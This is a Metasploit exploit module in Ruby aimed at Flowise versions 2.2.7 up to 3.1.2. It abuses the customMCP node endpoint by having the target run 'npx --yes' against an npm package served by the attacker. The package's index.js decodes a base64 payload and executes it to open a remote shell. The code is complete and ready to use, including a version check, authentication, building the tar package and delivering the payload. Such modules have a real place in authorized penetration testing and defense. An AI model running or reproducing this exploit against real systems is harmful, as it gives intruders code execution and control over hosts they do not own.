Flowise MCP Server Remote Code Execution

# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Remote::HTTP::Flowise
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Flowise MCP Server Remote Code Execution',
        'Description' => %q{
          Flowise versions from 2.2.7 prior to 3.1.2 are vulnerable to remote code execution
          through the Custom MCP (Model Context Protocol) node configuration.

          The vulnerability exists in the /api/v1/node-load-method/customMCP endpoint,
          which accepts arbitrary command and argument configurations for MCP server
          initialization. An authenticated attacker can abuse the npx --yes flag to
          fetch and execute a malicious npm package from an attacker-controlled HTTP
          server, achieving arbitrary command execution on the Flowise host.

          This module creates a malicious npm package tar archive in memory, serves it
          via Metasploit's built-in HTTP server, then triggers the vulnerable endpoint
          to download and execute the package via npx.

          To interact with the obtained shell, use the command: sessions -i <id>
          (for example: sessions -i 1).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'cn-panda', # Vulnerability discovery
          'ABDUL JAFAROV <https://github.com/jafarov007>' # Metasploit module
        ],
        'References' => [
          ['CVE', '2026-56274'],
          ['CWE', '78'],
          ['GHSA', 'GHSA-m99r-2hxc-cp3q']
        ],
        'DisclosureDate' => '2026-06-23',
        'Targets' => [
          ['Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD }]
        ],
        'DefaultTarget' => 0,
        'Privileged' => false,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Flowise base path', '/']),
      OptString.new('USERNAME', [false, 'Flowise username (email)']),
      OptString.new('PASSWORD', [false, 'Flowise password']),
      Opt::RPORT(3000)
    ])
  end

  def check
    version = flowise_get_version
    return Exploit::CheckCode::Unknown('Unable to determine Flowise version') unless version

    report_service(host: rhost, port: rport, name: 'http', proto: 'tcp', info: "Flowise #{version}")

    if version < Rex::Version.new('2.2.7')
      return Exploit::CheckCode::Safe("Flowise #{version} does not feature customMCP support")
    end

    if version < Rex::Version.new('3.1.2')
      return Exploit::CheckCode::Appears("Flowise #{version} detected")
    end

    Exploit::CheckCode::Safe("Target is running patched version #{version}")
  end

  # Build the malicious npm package tar archive entirely in memory.
  # npm/npx expects tar entries under a "package/" prefix directory.
  def create_tar_package
    print_status('Building malicious npm package tar in memory...')

    index_js = <<~JS
      #!/usr/bin/env node
      const { execSync } = require('child_process');
      try { execSync(Buffer.from('#{Rex::Text.encode_base64(payload.encoded)}','base64').toString(), { stdio: 'inherit' }); } catch (e) {}
    JS

    package_json = {
      'name' => 'attacker-mcp-pkg',
      'version' => '1.0.0',
      'bin' => {
        'attacker-mcp-pkg' => './index.js'
      }
    }.to_json

    tar_io = StringIO.new

    Rex::Tar::Writer.new(tar_io) do |tar|
      tar.add_file('package/package.json', 0o644) do |f|
        f.write(package_json)
      end

      tar.add_file('package/index.js', 0o755) do |f|
        f.write(index_js)
      end
    end

    tar_io.seek(0)
    data = tar_io.read
    tar_io.close

    print_good("Tar package built in memory (#{data.bytesize} bytes)")
    data
  end

  # HttpServer callback -- serves the tar package to npx.
  # Receives requests matching the auto-generated URIPATH.
  def on_request_uri(cli, request)
    print_good("Serving malicious tar package to #{cli.peerhost} (#{request.method} #{request.uri})")
    send_response(cli, @tar_data, {
      'Content-Type' => 'application/x-tar',
      'Content-Disposition' => 'attachment; filename=msf.tar'
    })
  end

  # Ensure randomly generated URIPATH contains only lower-case characters for npx compatibility
  def random_uri
    '/' + Rex::Text.rand_text_alpha_lower(rand(6..15))
  end

  # Called automatically by HttpServer once the server is ready.
  # This is where we perform the client-side attack.
  def primer
    @tar_data = create_tar_package

    if get_resource != get_resource.downcase
      hardcoded_uripath(get_resource.downcase)
    end

    if flowise_requires_auth?
      print_status("Authenticating as #{datastore['USERNAME']}...")
      flowise_login(datastore['USERNAME'], datastore['PASSWORD'])
    end

    report_service(host: rhost, port: rport, name: 'http', proto: 'tcp')
    send_exploit_payload
  end

  def send_exploit_payload
    tar_url = get_uri.downcase

    print_status("Sending malicious MCP node config (tar URL: #{tar_url})...")

    mcp_server_config = {
      'command' => 'npx',
      'args' => ['--yes', tar_url]
    }

    node_data = {
      'loadMethods' => {},
      'label' => 'Custom MCP',
      'name' => 'customMCP',
      'version' => 1.1,
      'type' => 'Custom MCP Tool',
      'icon' => '/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/nodes/tools/MCP/CustomMCP/customMCP.png',
      'category' => 'Tools (MCP)',
      'description' => 'Custom MCP Config',
      'inputs' => {
        'mcpServerConfig' => mcp_server_config.to_json,
        'mcpActions' => ''
      },
      'baseClasses' => ['Tool'],
      'filePath' => '/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/nodes/tools/MCP/CustomMCP/CustomMCP.js',
      'inputAnchors' => [],
      'inputParams' => [
        {
          'label' => 'MCP Server Config',
          'name' => 'mcpServerConfig',
          'type' => 'code',
          'hideCodeExecute' => true,
          'hint' => {
            'label' => 'How to use',
            'value' => "\nYou can use variables in the MCP Server Config with double curly braces `{{ }}` and prefix `$vars.<variableName>`."
          },
          'placeholder' => "{\n    \"command\": \"npx\",\n    \"args\": [\"-y\", \"@modelcontextprotocol/server-filesystem\", \"/path/to/allowed/files\"]\n}",
          'id' => 'customMCP_0-input-mcpServerConfig-code',
          'display' => true
        },
        {
          'label' => 'Available Actions',
          'name' => 'mcpActions',
          'type' => 'asyncMultiOptions',
          'loadMethod' => 'listActions',
          'refresh' => true,
          'id' => 'customMCP_0-input-mcpActions-asyncMultiOptions',
          'display' => true
        }
      ],
      'outputs' => {},
      'outputAnchors' => [
        {
          'id' => 'customMCP_0-output-customMCP-Tool',
          'name' => 'customMCP',
          'label' => 'Custom MCP Tool',
          'description' => 'Custom MCP Config',
          'type' => 'Tool'
        }
      ],
      'id' => 'customMCP_0',
      'selected' => true,
      'loadMethod' => 'listActions',
      'previousNodes' => [],
      'currentNode' => {
        'id' => 'customMCP_0',
        'name' => 'customMCP',
        'label' => 'Custom MCP',
        'inputs' => {
          'mcpServerConfig' => mcp_server_config.to_json,
          'mcpActions' => ''
        }
      }
    }

    res = flowise_send_custommcp_request(node_data)
    if res
      print_good('Exploit payload delivered successfully')
      print_status('Waiting for npx to fetch tar and execute payload...')
    else
      print_warning('Exploit request failed')
    end
  end
end